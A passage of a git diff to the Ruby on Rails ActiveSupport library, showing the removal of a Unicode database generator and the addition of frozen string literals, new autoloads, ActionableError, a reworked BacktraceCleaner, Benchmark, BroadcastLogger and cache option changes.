-        end
-
-        def parse_grapheme_break_property(line)
-          if line =~ /^([0-9A-F.]+)\s*;\s*([\w]+)\s*#/
-            type = $2.downcase.intern
-            @ucd.boundary[type] ||= []
-            if $1.include? ".."
-              parts = $1.split ".."
-              @ucd.boundary[type] << (parts[0].hex..parts[1].hex)
-            else
-              @ucd.boundary[type] << $1.hex
-            end
-          end
-        end
-
-        def parse_composition_exclusion(line)
-          if line =~ /^([0-9A-F]+)/i
-            @ucd.composition_exclusion << $1.hex
-          end
-        end
-
-        def parse_cp1252(line)
-          if line =~ /^([0-9A-Fx]+)\s([0-9A-Fx]+)/i
-            @ucd.cp1252[$1.hex] = $2.hex
-          end
-        end
-
-        def create_composition_map
-          @ucd.codepoints.each do |_, cp|
-            if !cp.nil? && cp.combining_class == 0 && cp.decomp_type.nil? && !cp.decomp_mapping.nil? && cp.decomp_mapping.length == 2 && @ucd.codepoints[cp.decomp_mapping[0]].combining_class == 0 && !@ucd.composition_exclusion.include?(cp.code)
-              @ucd.composition_map[cp.decomp_mapping[0]] ||= {}
-              @ucd.composition_map[cp.decomp_mapping[0]][cp.decomp_mapping[1]] = cp.code
-            end
-          end
-        end
-
-        def normalize_boundary_map
-          @ucd.boundary.each do |k, v|
-            if [:lf, :cr].include? k
-              @ucd.boundary[k] = v[0]
-            end
-          end
-        end
-
-        def parse
-          SOURCES.each do |type, url|
-            filename = File.join(Dir.tmpdir, UNICODE_VERSION, "#{url.split('/').last}")
-            unless File.exist?(filename)
-              $stderr.puts "Downloading #{url.split('/').last}"
-              FileUtils.mkdir_p(File.dirname(filename))
-              File.open(filename, "wb") do |target|
-                open(url) do |source|
-                  source.each_line { |line| target.write line }
-                end
-              end
-            end
-            File.open(filename) do |file|
-              file.each_line { |line| send "parse_#{type}".intern, line }
-            end
-          end
-          create_composition_map
-          normalize_boundary_map
-        end
-
-        def dump_to(filename)
-          File.open(filename, "wb") do |f|
-            f.write Marshal.dump([@ucd.codepoints, @ucd.composition_exclusion, @ucd.composition_map, @ucd.boundary, @ucd.cp1252])
-          end
-        end
-      end
-    end
-  end
-end
-
-if __FILE__ == $0
-  filename = ActiveSupport::Multibyte::Unicode::UnicodeDatabase.filename
-  generator = ActiveSupport::Multibyte::Unicode::DatabaseGenerator.new
-  generator.parse
-  print "Writing to: #{filename}"
-  generator.dump_to filename
-  puts " (#{File.size(filename)} bytes)"
-end
diff --git a/activesupport/bin/test b/activesupport/bin/test
index a7beb14b271a3..c53377cc970f4 100755
--- a/activesupport/bin/test
+++ b/activesupport/bin/test
@@ -1,4 +1,5 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
 
 COMPONENT_ROOT = File.expand_path("..", __dir__)
-require File.expand_path("../tools/test", COMPONENT_ROOT)
+require_relative "../../tools/test"
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index 03e3ce821a1b2..70722f472260d 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 #--
-# Copyright (c) 2005-2017 David Heinemeier Hansson
+# Copyright (c) David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -24,44 +26,67 @@
 require "securerandom"
 require "active_support/dependencies/autoload"
 require "active_support/version"
+require "active_support/deprecator"
 require "active_support/logger"
+require "active_support/broadcast_logger"
 require "active_support/lazy_load_hooks"
 require "active_support/core_ext/date_and_time/compatibility"
 
+# :include: ../README.rdoc
 module ActiveSupport
   extend ActiveSupport::Autoload
 
   autoload :Concern
+  autoload :CodeGenerator
+  autoload :ActionableError
+  autoload :Configurable
+  autoload :ConfigurationFile
+  autoload :ContinuousIntegration
+  autoload :CurrentAttributes
   autoload :Dependencies
   autoload :DescendantsTracker
+  autoload :Editor
   autoload :ExecutionWrapper
   autoload :Executor
+  autoload :ErrorReporter
+  autoload :EventReporter
   autoload :FileUpdateChecker
   autoload :EventedFileUpdateChecker
+  autoload :ForkTracker
   autoload :LogSubscriber
+  autoload :StructuredEventSubscriber
+  autoload :IsolatedExecutionState
   autoload :Notifications
   autoload :Reloader
+  autoload :SecureCompareRotator
 
   eager_autoload do
     autoload :BacktraceCleaner
-    autoload :ProxyObject
+    autoload :Benchmark
     autoload :Benchmarkable
     autoload :Cache
     autoload :Callbacks
-    autoload :Configurable
+    autoload :ColorizeLogging
+    autoload :ClassAttribute
     autoload :Deprecation
+    autoload :Delegation
+    autoload :Digest
+    autoload :ExecutionContext
     autoload :Gzip
     autoload :Inflector
     autoload :JSON
     autoload :KeyGenerator
     autoload :MessageEncryptor
+    autoload :MessageEncryptors
     autoload :MessageVerifier
+    autoload :MessageVerifiers
     autoload :Multibyte
     autoload :NumberHelper
     autoload :OptionMerger
     autoload :OrderedHash
     autoload :OrderedOptions
     autoload :StringInquirer
+    autoload :EnvironmentInquirer
     autoload :TaggedLogging
     autoload :XmlMini
     autoload :ArrayInquirer
@@ -78,25 +103,49 @@ def self.eager_load!
   end
 
   cattr_accessor :test_order # :nodoc:
+  cattr_accessor :test_parallelization_threshold, default: 50 # :nodoc:
+  cattr_accessor :parallelize_test_databases, default: true # :nodoc:
+
+  @error_reporter = ActiveSupport::ErrorReporter.new
+  singleton_class.attr_accessor :error_reporter # :nodoc:
+
+  @event_reporter = ActiveSupport::EventReporter.new
+  singleton_class.attr_accessor :event_reporter # :nodoc:
+
+  cattr_accessor :filter_parameters, default: [] # :nodoc:
+
+  @colorize_logging = true
+  singleton_class.attr_accessor :colorize_logging
 
-  def self.halt_callback_chains_on_return_false
-    ActiveSupport::Deprecation.warn(<<-MSG.squish)
-      ActiveSupport.halt_callback_chains_on_return_false is deprecated and will be removed in Rails 5.2.
-    MSG
+  def self.cache_format_version
+    Cache.format_version
   end
 
-  def self.halt_callback_chains_on_return_false=(value)
-    ActiveSupport::Deprecation.warn(<<-MSG.squish)
-      ActiveSupport.halt_callback_chains_on_return_false= is deprecated and will be removed in Rails 5.2.
-    MSG
+  def self.cache_format_version=(value)
+    Cache.format_version = value
   end
 
   def self.to_time_preserves_timezone
-    DateAndTime::Compatibility.preserve_timezone
+    ActiveSupport.deprecator.warn(
+      "`config.active_support.to_time_preserves_timezone` is deprecated and will be removed in Rails 8.2"
+    )
+    @to_time_preserves_timezone
   end
 
   def self.to_time_preserves_timezone=(value)
-    DateAndTime::Compatibility.preserve_timezone = value
+    ActiveSupport.deprecator.warn(
+      "`config.active_support.to_time_preserves_timezone` is deprecated and will be removed in Rails 8.2"
+    )
+
+    @to_time_preserves_timezone = value
+  end
+
+  def self.utc_to_local_returns_utc_offset_times
+    DateAndTime::Compatibility.utc_to_local_returns_utc_offset_times
+  end
+
+  def self.utc_to_local_returns_utc_offset_times=(value)
+    DateAndTime::Compatibility.utc_to_local_returns_utc_offset_times = value
   end
 end
 
diff --git a/activesupport/lib/active_support/actionable_error.rb b/activesupport/lib/active_support/actionable_error.rb
new file mode 100644
index 0000000000000..8c05e563745a3
--- /dev/null
+++ b/activesupport/lib/active_support/actionable_error.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # = Actionable Errors
+  #
+  # Actionable errors lets you define actions to resolve an error.
+  #
+  # To make an error actionable, include the +ActiveSupport::ActionableError+
+  # module and invoke the +action+ class macro to define the action. An action
+  # needs a name and a block to execute.
+  module ActionableError
+    extend Concern
+
+    class NonActionable < StandardError; end
+
+    included do
+      class_attribute :_actions, default: {}
+    end
+
+    def self.actions(error) # :nodoc:
+      case error
+      when ActionableError, -> it { Class === it && it < ActionableError }
+        error._actions
+      else
+        {}
+      end
+    end
+
+    def self.dispatch(error, name) # :nodoc:
+      actions(error).fetch(name).call
+    rescue KeyError
+      raise NonActionable, "Cannot find action \"#{name}\""
+    end
+
+    module ClassMethods
+      # Defines an action that can resolve the error.
+      #
+      #   class PendingMigrationError < MigrationError
+      #     include ActiveSupport::ActionableError
+      #
+      #     action "Run pending migrations" do
+      #       ActiveRecord::Tasks::DatabaseTasks.migrate
+      #     end
+      #   end
+      def action(name, &block)
+        _actions[name] = block
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/all.rb b/activesupport/lib/active_support/all.rb
index 72a23075af79f..4adf446af8057 100644
--- a/activesupport/lib/active_support/all.rb
+++ b/activesupport/lib/active_support/all.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support"
 require "active_support/time"
 require "active_support/core_ext"
diff --git a/activesupport/lib/active_support/array_inquirer.rb b/activesupport/lib/active_support/array_inquirer.rb
index befa1746c6cda..6fb620852a1ed 100644
--- a/activesupport/lib/active_support/array_inquirer.rb
+++ b/activesupport/lib/active_support/array_inquirer.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 module ActiveSupport
+  # = \Array Inquirer
+  #
   # Wrapping an array in an +ArrayInquirer+ gives a friendlier way to check
   # its string-like contents:
   #
@@ -32,11 +36,11 @@ def any?(*candidates)
 
     private
       def respond_to_missing?(name, include_private = false)
-        (name[-1] == "?") || super
+        name.end_with?("?") || super
       end
 
-      def method_missing(name, *args)
-        if name[-1] == "?"
+      def method_missing(name, ...)
+        if name.end_with?("?")
           any?(name[0..-2])
         else
           super
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
index e47c90597f3e7..a47852947f010 100644
--- a/activesupport/lib/active_support/backtrace_cleaner.rb
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 module ActiveSupport
+  # = Backtrace Cleaner
+  #
   # Backtraces often include many lines that are not relevant for the context
   # under review. This makes it hard to find the signal amongst the backtrace
   # noise, and adds debugging time. With a BacktraceCleaner, filters and
@@ -13,22 +17,27 @@ module ActiveSupport
   # can focus on the rest.
   #
   #   bc = ActiveSupport::BacktraceCleaner.new
-  #   bc.add_filter   { |line| line.gsub(Rails.root.to_s, '') } # strip the Rails.root prefix
-  #   bc.add_silencer { |line| line =~ /puma|rubygems/ } # skip any lines from puma or rubygems
+  #   root = "#{Rails.root}/"
+  #   bc.add_filter   { |line| line.delete_prefix(root) } # strip the Rails.root prefix
+  #   bc.add_silencer { |line| /puma|rubygems/.match?(line) } # skip any lines from puma or rubygems
   #   bc.clean(exception.backtrace) # perform the cleanup
   #
-  # To reconfigure an existing BacktraceCleaner (like the default one in Rails)
+  # To reconfigure an existing BacktraceCleaner (like the default one in \Rails)
   # and show as much data as possible, you can always call
-  # <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the
+  # BacktraceCleaner#remove_silencers!, which will restore the
   # backtrace to a pristine state. If you need to reconfigure an existing
   # BacktraceCleaner so that it does not filter or modify the paths of any lines
-  # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!</tt>
+  # of the backtrace, you can call BacktraceCleaner#remove_filters!
   # These two methods will give you a completely untouched backtrace.
   #
   # Inspired by the Quiet Backtrace gem by thoughtbot.
   class BacktraceCleaner
     def initialize
       @filters, @silencers = [], []
+      add_core_silencer
+      add_gem_filter
+      add_gem_silencer
+      add_stdlib_silencer
     end
 
     # Returns the backtrace after all filters and silencers have been run
@@ -47,11 +56,101 @@ def clean(backtrace, kind = :silent)
     end
     alias :filter :clean
 
+    # Given an array of Thread::Backtrace::Location objects, returns an array
+    # with the clean ones:
+    #
+    #     clean_locations = backtrace_cleaner.clean_locations(caller_locations)
+    #
+    # Filters and silencers receive strings as usual. However, the +path+
+    # attributes of the locations in the returned array are the original,
+    # unfiltered ones, since locations are immutable.
+    def clean_locations(locations, kind = :silent)
+      locations.select { |location| clean_frame(location, kind) }
+    end
+
+    # Returns the frame with all filters applied.
+    # returns +nil+ if the frame was silenced.
+    def clean_frame(frame, kind = :silent)
+      frame = frame.to_s
+      @filters.each do |f|
+        frame = f.call(frame.to_s)
+      end
+
+      case kind
+      when :silent
+        frame unless @silencers.any? { |s| s.call(frame) }
+      when :noise
+        frame if @silencers.any? { |s| s.call(frame) }
+      else
+        frame
+      end
+    end
+
+    # Thread.each_caller_location does not accept a start in Ruby < 3.4.
+    if Thread.method(:each_caller_location).arity == 0
+      # Returns the first clean frame of the caller's backtrace, or +nil+.
+      #
+      # Frames are strings.
+      def first_clean_frame(kind = :silent)
+        caller_location_skipped = false
+
+        Thread.each_caller_location do |location|
+          unless caller_location_skipped
+            caller_location_skipped = true
+            next
+          end
+
+          frame = clean_frame(location, kind)
+          return frame if frame
+        end
+      end
+
+      # Returns the first clean location of the caller's call stack, or +nil+.
+      #
+      # Locations are Thread::Backtrace::Location objects. Since they are
+      # immutable, their +path+ attributes are the original ones, but filters
+      # are applied internally so silencers can still rely on them.
+      def first_clean_location(kind = :silent)
+        caller_location_skipped = false
+
+        Thread.each_caller_location do |location|
+          unless caller_location_skipped
+            caller_location_skipped = true
+            next
+          end
+
+          return location if clean_frame(location, kind)
+        end
+      end
+    else
+      # Returns the first clean frame of the caller's backtrace, or +nil+.
+      #
+      # Frames are strings.
+      def first_clean_frame(kind = :silent)
+        Thread.each_caller_location(2) do |location|
+          frame = clean_frame(location, kind)
+          return frame if frame
+        end
+      end
+
+      # Returns the first clean location of the caller's call stack, or +nil+.
+      #
+      # Locations are Thread::Backtrace::Location objects. Since they are
+      # immutable, their +path+ attributes are the original ones, but filters
+      # are applied internally so silencers can still rely on them.
+      def first_clean_location(kind = :silent)
+        Thread.each_caller_location(2) do |location|
+          return location if clean_frame(location, kind)
+        end
+      end
+    end
+
     # Adds a filter from the block provided. Each line in the backtrace will be
     # mapped against this filter.
     #
-    #   # Will turn "/my/rails/root/app/models/person.rb" into "/app/models/person.rb"
-    #   backtrace_cleaner.add_filter { |line| line.gsub(Rails.root, '') }
+    #   # Will turn "/my/rails/root/app/models/person.rb" into "app/models/person.rb"
+    #   root = "#{Rails.root}/"
+    #   backtrace_cleaner.add_filter { |line| line.delete_prefix(root) }
     def add_filter(&block)
       @filters << block
     end
@@ -60,7 +159,7 @@ def add_filter(&block)
     # for a given line, it will be excluded from the clean backtrace.
     #
     #   # Will reject all lines that include the word "puma", like "/gems/puma/server.rb" or "/app/my_puma_server/rb"
-    #   backtrace_cleaner.add_silencer { |line| line =~ /puma/ }
+    #   backtrace_cleaner.add_silencer { |line| /puma/.match?(line) }
     def add_silencer(&block)
       @silencers << block
     end
@@ -80,9 +179,37 @@ def remove_filters!
     end
 
     private
+      FORMATTED_GEMS_PATTERN = /\A[^\/]+ \([\w.]+\) /
+
+      def initialize_copy(_other)
+        @filters = @filters.dup
+        @silencers = @silencers.dup
+      end
+
+      def add_gem_filter
+        gems_paths = (Gem.path | [Gem.default_dir]).map { |p| Regexp.escape(p) }
+        return if gems_paths.empty?
+
+        gems_regexp = %r{\A(#{gems_paths.join('|')})/(bundler/)?gems/([^/]+)-([\w.]+)/(.*)}
+        gems_result = '\3 (\4) \5'
+        add_filter { |line| line.sub(gems_regexp, gems_result) }
+      end
+
+      def add_core_silencer
+        add_silencer { |line| line.include?("<internal:") }
+      end
+
+      def add_gem_silencer
+        add_silencer { |line| FORMATTED_GEMS_PATTERN.match?(line) }
+      end
+
+      def add_stdlib_silencer
+        add_silencer { |line| line.start_with?(RbConfig::CONFIG["rubylibdir"]) }
+      end
+
       def filter_backtrace(backtrace)
         @filters.each do |f|
-          backtrace = backtrace.map { |line| f.call(line) }
+          backtrace = backtrace.map { |line| f.call(line.to_s) }
         end
 
         backtrace
@@ -90,14 +217,18 @@ def filter_backtrace(backtrace)
 
       def silence(backtrace)
         @silencers.each do |s|
-          backtrace = backtrace.reject { |line| s.call(line) }
+          backtrace = backtrace.reject { |line| s.call(line.to_s) }
         end
 
         backtrace
       end
 
       def noise(backtrace)
-        backtrace - silence(backtrace)
+        backtrace.select do |line|
+          @silencers.any? do |s|
+            s.call(line.to_s)
+          end
+        end
       end
   end
 end
diff --git a/activesupport/lib/active_support/benchmark.rb b/activesupport/lib/active_support/benchmark.rb
new file mode 100644
index 0000000000000..ed817f554045f
--- /dev/null
+++ b/activesupport/lib/active_support/benchmark.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Benchmark # :nodoc:
+    # Benchmark realtime in the specified time unit. By default,
+    # the returned unit is in seconds.
+    #
+    #   ActiveSupport::Benchmark.realtime { sleep 0.1 }
+    #   # => 0.10007
+    #
+    #   ActiveSupport::Benchmark.realtime(:float_millisecond) { sleep 0.1 }
+    #   # => 100.07
+    #
+    # `unit` can be any of the values accepted by Ruby's `Process.clock_gettime`.
+    def self.realtime(unit = :float_second, &block)
+      time_start = Process.clock_gettime(Process::CLOCK_MONOTONIC, unit)
+      yield
+      Process.clock_gettime(Process::CLOCK_MONOTONIC, unit) - time_start
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/benchmarkable.rb b/activesupport/lib/active_support/benchmarkable.rb
index 70493c8da77b2..8697e7c457334 100644
--- a/activesupport/lib/active_support/benchmarkable.rb
+++ b/activesupport/lib/active_support/benchmarkable.rb
@@ -1,7 +1,9 @@
-require "active_support/core_ext/benchmark"
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/keys"
 
 module ActiveSupport
+  # = \Benchmarkable
   module Benchmarkable
     # Allows you to measure the execution time of a block in a template and
     # records the result to the log. Wrap this block around expensive operations
@@ -32,14 +34,16 @@ module Benchmarkable
     #  <% benchmark 'Process data files', level: :info, silence: true do %>
     #    <%= expensive_and_chatty_files_operation %>
     #  <% end %>
-    def benchmark(message = "Benchmarking", options = {})
+    def benchmark(message = "Benchmarking", options = {}, &block)
       if logger
         options.assert_valid_keys(:level, :silence)
         options[:level] ||= :info
 
         result = nil
-        ms = Benchmark.ms { result = options[:silence] ? logger.silence { yield } : yield }
-        logger.send(options[:level], "%s (%.1fms)" % [ message, ms ])
+        ms = ActiveSupport::Benchmark.realtime(:float_millisecond) do
+          result = options[:silence] ? logger.silence(&block) : yield
+        end
+        logger.public_send(options[:level], "%s (%.1fms)" % [ message, ms ])
         result
       else
         yield
diff --git a/activesupport/lib/active_support/broadcast_logger.rb b/activesupport/lib/active_support/broadcast_logger.rb
new file mode 100644
index 0000000000000..749a0bb11864b
--- /dev/null
+++ b/activesupport/lib/active_support/broadcast_logger.rb
@@ -0,0 +1,238 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # = Active Support Broadcast Logger
+  #
+  # The Broadcast logger is a logger used to write messages to multiple IO. It is commonly used
+  # in development to display messages on STDOUT and also write them to a file (development.log).
+  # With the Broadcast logger, you can broadcast your logs to a unlimited number of sinks.
+  #
+  # The BroadcastLogger acts as a standard logger and all methods you are used to are available.
+  # However, all the methods on this logger will propagate and be delegated to the other loggers
+  # that are part of the broadcast.
+  #
+  # Broadcasting your logs.
+  #
+  #   stdout_logger = Logger.new(STDOUT)
+  #   file_logger   = Logger.new("development.log")
+  #   broadcast = BroadcastLogger.new(stdout_logger, file_logger)
+  #
+  #   broadcast.info("Hello world!") # Writes the log to STDOUT and the development.log file.
+  #
+  # Add a logger to the broadcast.
+  #
+  #   stdout_logger = Logger.new(STDOUT)
+  #   broadcast = BroadcastLogger.new(stdout_logger)
+  #   file_logger   = Logger.new("development.log")
+  #   broadcast.broadcast_to(file_logger)
+  #
+  #   broadcast.info("Hello world!") # Writes the log to STDOUT and the development.log file.
+  #
+  # Modifying the log level for all broadcasted loggers.
+  #
+  #   stdout_logger = Logger.new(STDOUT)
+  #   file_logger   = Logger.new("development.log")
+  #   broadcast = BroadcastLogger.new(stdout_logger, file_logger)
+  #
+  #   broadcast.level = Logger::FATAL # Modify the log level for the whole broadcast.
+  #
+  # Stop broadcasting log to a sink.
+  #
+  #   stdout_logger = Logger.new(STDOUT)
+  #   file_logger   = Logger.new("development.log")
+  #   broadcast = BroadcastLogger.new(stdout_logger, file_logger)
+  #   broadcast.info("Hello world!") # Writes the log to STDOUT and the development.log file.
+  #
+  #   broadcast.stop_broadcasting_to(file_logger)
+  #   broadcast.info("Hello world!") # Writes the log *only* to STDOUT.
+  #
+  # At least one sink has to be part of the broadcast. Otherwise, your logs will not
+  # be written anywhere. For instance:
+  #
+  #   broadcast = BroadcastLogger.new
+  #   broadcast.info("Hello world") # The log message will appear nowhere.
+  #
+  # If you are adding a custom logger with custom methods to the broadcast,
+  # the `BroadcastLogger` will proxy them and return the raw value, or an array
+  # of raw values, depending on how many loggers in the broadcasts responded to
+  # the method:
+  #
+  #   class MyLogger < ::Logger
+  #     def loggable?
+  #       true
+  #     end
+  #   end
+  #
+  #   logger = BroadcastLogger.new
+  #   logger.loggable? # => A NoMethodError exception is raised because no loggers in the broadcasts could respond.
+  #
+  #   logger.broadcast_to(MyLogger.new(STDOUT))
+  #   logger.loggable? # => true
+  #   logger.broadcast_to(MyLogger.new(STDOUT))
+  #   puts logger.broadcasts # => [MyLogger, MyLogger]
+  #   logger.loggable? # [true, true]
+  class BroadcastLogger
+    include ActiveSupport::LoggerSilence
+
+    # Returns all the logger that are part of this broadcast.
+    attr_reader :broadcasts
+    attr_accessor :progname
+
+    def initialize(*loggers)
+      @broadcasts = []
+      @progname = "Broadcast"
+
+      broadcast_to(*loggers)
+    end
+
+    # Add logger(s) to the broadcast.
+    #
+    #   broadcast_logger = ActiveSupport::BroadcastLogger.new
+    #   broadcast_logger.broadcast_to(Logger.new(STDOUT), Logger.new(STDERR))
+    def broadcast_to(*loggers)
+      @broadcasts.concat(loggers)
+    end
+
+    # Remove a logger from the broadcast. When a logger is removed, messages sent to
+    # the broadcast will no longer be written to its sink.
+    #
+    #   sink = Logger.new(STDOUT)
+    #   broadcast_logger = ActiveSupport::BroadcastLogger.new
+    #
+    #   broadcast_logger.stop_broadcasting_to(sink)
+    def stop_broadcasting_to(logger)
+      @broadcasts.delete(logger)
+    end
+
+    def local_level=(level)
+      @broadcasts.each do |logger|
+        logger.local_level = level if logger.respond_to?(:local_level=)
+      end
+    end
+
+    def local_level
+      loggers = @broadcasts.select { |logger| logger.respond_to?(:local_level) }
+
+      loggers.map do |logger|
+        logger.local_level
+      end.first
+    end
+
+    LOGGER_METHODS = %w[
+      << log add debug info warn error fatal unknown
+      level= sev_threshold= close
+      formatter formatter=
+    ] # :nodoc:
+    LOGGER_METHODS.each do |method|
+      class_eval <<~RUBY, __FILE__, __LINE__ + 1
+        def #{method}(...)
+          dispatch(:#{method}, ...)
+        end
+      RUBY
+    end
+
+    # Returns the lowest level of all the loggers in the broadcast.
+    def level
+      @broadcasts.map(&:level).min
+    end
+
+    # True if the log level allows entries with severity +Logger::DEBUG+ to be written
+    # to at least one broadcast. False otherwise.
+    def debug?
+      @broadcasts.any? { |logger| logger.debug? }
+    end
+
+    # Sets the log level to +Logger::DEBUG+ for the whole broadcast.
+    def debug!
+      dispatch(:debug!)
+    end
+
+    # True if the log level allows entries with severity +Logger::INFO+ to be written
+    # to at least one broadcast. False otherwise.
+    def info?
+      @broadcasts.any? { |logger| logger.info? }
+    end
+
+    # Sets the log level to +Logger::INFO+ for the whole broadcast.
+    def info!
+      dispatch(:info!)
+    end
+
+    # True if the log level allows entries with severity +Logger::WARN+ to be written
+    # to at least one broadcast. False otherwise.
+    def warn?
+      @broadcasts.any? { |logger| logger.warn? }
+    end
+
+    # Sets the log level to +Logger::WARN+ for the whole broadcast.
+    def warn!
+      dispatch(:warn!)
+    end
+
+    # True if the log level allows entries with severity +Logger::ERROR+ to be written
+    # to at least one broadcast. False otherwise.
+    def error?
+      @broadcasts.any? { |logger| logger.error? }
+    end
+
+    # Sets the log level to +Logger::ERROR+ for the whole broadcast.
+    def error!
+      dispatch(:error!)
+    end
+
+    # True if the log level allows entries with severity +Logger::FATAL+ to be written
+    # to at least one broadcast. False otherwise.
+    def fatal?
+      @broadcasts.any? { |logger| logger.fatal? }
+    end
+
+    # Sets the log level to +Logger::FATAL+ for the whole broadcast.
+    def fatal!
+      dispatch(:fatal!)
+    end
+
+    def initialize_copy(other)
+      @broadcasts = []
+      @progname = other.progname.dup
+
+      broadcast_to(*other.broadcasts.map(&:dup))
+    end
+
+    private
+      def dispatch(method, *args, **kwargs, &block)
+        if block_given?
+          # Maintain semantics that the first logger yields the block
+          # as normal, but subsequent loggers won't re-execute the block.
+          # Instead, the initial result is immediately returned.
+          called, result = false, nil
+          block = proc { |*args, **kwargs|
+            if called then result
+            else
+              called = true
+              result = yield(*args, **kwargs)
+            end
+          }
+        end
+
+        @broadcasts.map { |logger|
+          logger.send(method, *args, **kwargs, &block)
+        }.first
+      end
+
+      def method_missing(name, ...)
+        loggers = @broadcasts.select { |logger| logger.respond_to?(name) }
+
+        if loggers.none?
+          super
+        elsif loggers.one?
+          loggers.first.send(name, ...)
+        else
+          loggers.map { |logger| logger.send(name, ...) }
+        end
+      end
+
+      def respond_to_missing?(method, include_all)
+        @broadcasts.any? { |logger| logger.respond_to?(method, include_all) }
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/builder.rb b/activesupport/lib/active_support/builder.rb
index 0f010c5d964ba..cd49ec6bf5b2c 100644
--- a/activesupport/lib/active_support/builder.rb
+++ b/activesupport/lib/active_support/builder.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 begin
   require "builder"
 rescue LoadError => e
-  $stderr.puts "You don't have builder installed in your application. Please add it to your Gemfile and run bundle install"
+  warn "You don't have builder installed in your application. Please add it to your Gemfile and run bundle install"
   raise e
 end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index 4d8c2046e8208..195a038c7eb7c 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -1,29 +1,64 @@
+# frozen_string_literal: true
+
 require "zlib"
 require "active_support/core_ext/array/extract_options"
-require "active_support/core_ext/array/wrap"
+require "active_support/core_ext/enumerable"
 require "active_support/core_ext/module/attribute_accessors"
 require "active_support/core_ext/numeric/bytes"
-require "active_support/core_ext/numeric/time"
 require "active_support/core_ext/object/to_param"
+require "active_support/core_ext/object/try"
 require "active_support/core_ext/string/inflections"
+require_relative "cache/coder"
+require_relative "cache/entry"
+require_relative "cache/serializer_with_fallback"
 
 module ActiveSupport
   # See ActiveSupport::Cache::Store for documentation.
   module Cache
-    autoload :FileStore,     "active_support/cache/file_store"
-    autoload :MemoryStore,   "active_support/cache/memory_store"
-    autoload :MemCacheStore, "active_support/cache/mem_cache_store"
-    autoload :NullStore,     "active_support/cache/null_store"
+    autoload :FileStore,        "active_support/cache/file_store"
+    autoload :MemoryStore,      "active_support/cache/memory_store"
+    autoload :MemCacheStore,    "active_support/cache/mem_cache_store"
+    autoload :NullStore,        "active_support/cache/null_store"
+    autoload :RedisCacheStore,  "active_support/cache/redis_cache_store"
 
     # These options mean something to all cache implementations. Individual cache
     # implementations may support additional options.
-    UNIVERSAL_OPTIONS = [:namespace, :compress, :compress_threshold, :expires_in, :race_condition_ttl]
+    UNIVERSAL_OPTIONS = [
+      :coder,
+      :compress,
+      :compress_threshold,
+      :compressor,
+      :expire_in,
+      :expired_in,
+      :expires_in,
+      :namespace,
+      :race_condition_ttl,
+      :serializer,
+      :skip_nil,
+      :raw,
+      :max_key_size,
+    ]
+
+    # Mapping of canonical option names to aliases that a store will recognize.
+    OPTION_ALIASES = {
+      expires_in: [:expire_in, :expired_in]
+    }.freeze
+
+    DEFAULT_COMPRESS_LIMIT = 1.kilobyte
+
+    # Raised by coders when the cache entry can't be deserialized.
+    # This error is treated as a cache miss.
+    DeserializationError = Class.new(StandardError)
 
     module Strategy
       autoload :LocalCache, "active_support/cache/strategy/local_cache"
     end
 
+    @format_version = 7.0
+
     class << self
+      attr_accessor :format_version
+
       # Creates a new Store object according to the given options.
       #
       # If no arguments are passed to this method, then a new
@@ -49,12 +84,13 @@ class << self
       #
       #   ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
       #   # => returns MyOwnCacheStore.new
-      def lookup_store(*store_option)
-        store, *parameters = *Array.wrap(store_option).flatten
-
+      def lookup_store(store = nil, *parameters)
         case store
         when Symbol
-          retrieve_store_class(store).new(*parameters)
+          options = parameters.extract_options!
+          retrieve_store_class(store).new(*parameters, **options)
+        when Array
+          lookup_store(*store)
         when nil
           ActiveSupport::Cache::MemoryStore.new
         else
@@ -75,7 +111,7 @@ def lookup_store(*store_option)
       #
       # The +key+ argument can also respond to +cache_key+ or +to_param+.
       def expand_cache_key(key, namespace = nil)
-        expanded_cache_key = namespace ? "#{namespace}/" : ""
+        expanded_cache_key = namespace ? +"#{namespace}/" : +""
 
         if prefix = ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
           expanded_cache_key << "#{prefix}/"
@@ -88,16 +124,19 @@ def expand_cache_key(key, namespace = nil)
       private
         def retrieve_cache_key(key)
           case
-          when key.respond_to?(:cache_key) then key.cache_key
-          when key.is_a?(Array)            then key.map { |element| retrieve_cache_key(element) }.to_param
-          when key.respond_to?(:to_a)      then retrieve_cache_key(key.to_a)
-          else                                  key.to_param
+          when key.respond_to?(:cache_key_with_version) then key.cache_key_with_version
+          when key.respond_to?(:cache_key)              then key.cache_key
+          when key.is_a?(Array)                         then key.map { |element| retrieve_cache_key(element) }.to_param
+          when key.respond_to?(:to_a)                   then retrieve_cache_key(key.to_a)
+          else                                               key.to_param
           end.to_s
         end
 
         # Obtains the specified cache store class, given the name of the +store+.
         # Raises an error when the store class cannot be found.
         def retrieve_store_class(store)
+          # require_relative cannot be used here because the class might be
+          # provided by another gem, like redis-activesupport for example.
           require "active_support/cache/#{store}"
         rescue LoadError => e
           raise "Could not find cache store adapter for #{store} (#{e})"
@@ -106,6 +145,8 @@ def retrieve_store_class(store)
         end
     end
 
+    # = Active Support \Cache \Store
+    #
     # An abstract cache store class. There are multiple cache store
